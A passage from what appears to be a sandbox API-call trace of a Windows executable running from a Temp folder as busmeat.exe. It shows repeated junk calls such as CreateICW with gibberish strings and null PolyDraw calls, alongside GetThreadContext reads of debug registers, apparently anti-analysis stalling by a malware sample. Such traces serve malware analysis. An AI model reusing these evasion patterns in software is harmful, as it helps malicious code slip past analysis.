[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.270] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.270] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.270] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.270] GetConsoleCP () returned 0x0
	[0066.270] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.270] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.271] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.271] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.271] GetConsoleCP () returned 0x0
	[0066.271] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.271] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.272] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.272] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.272] GetConsoleCP () returned 0x0
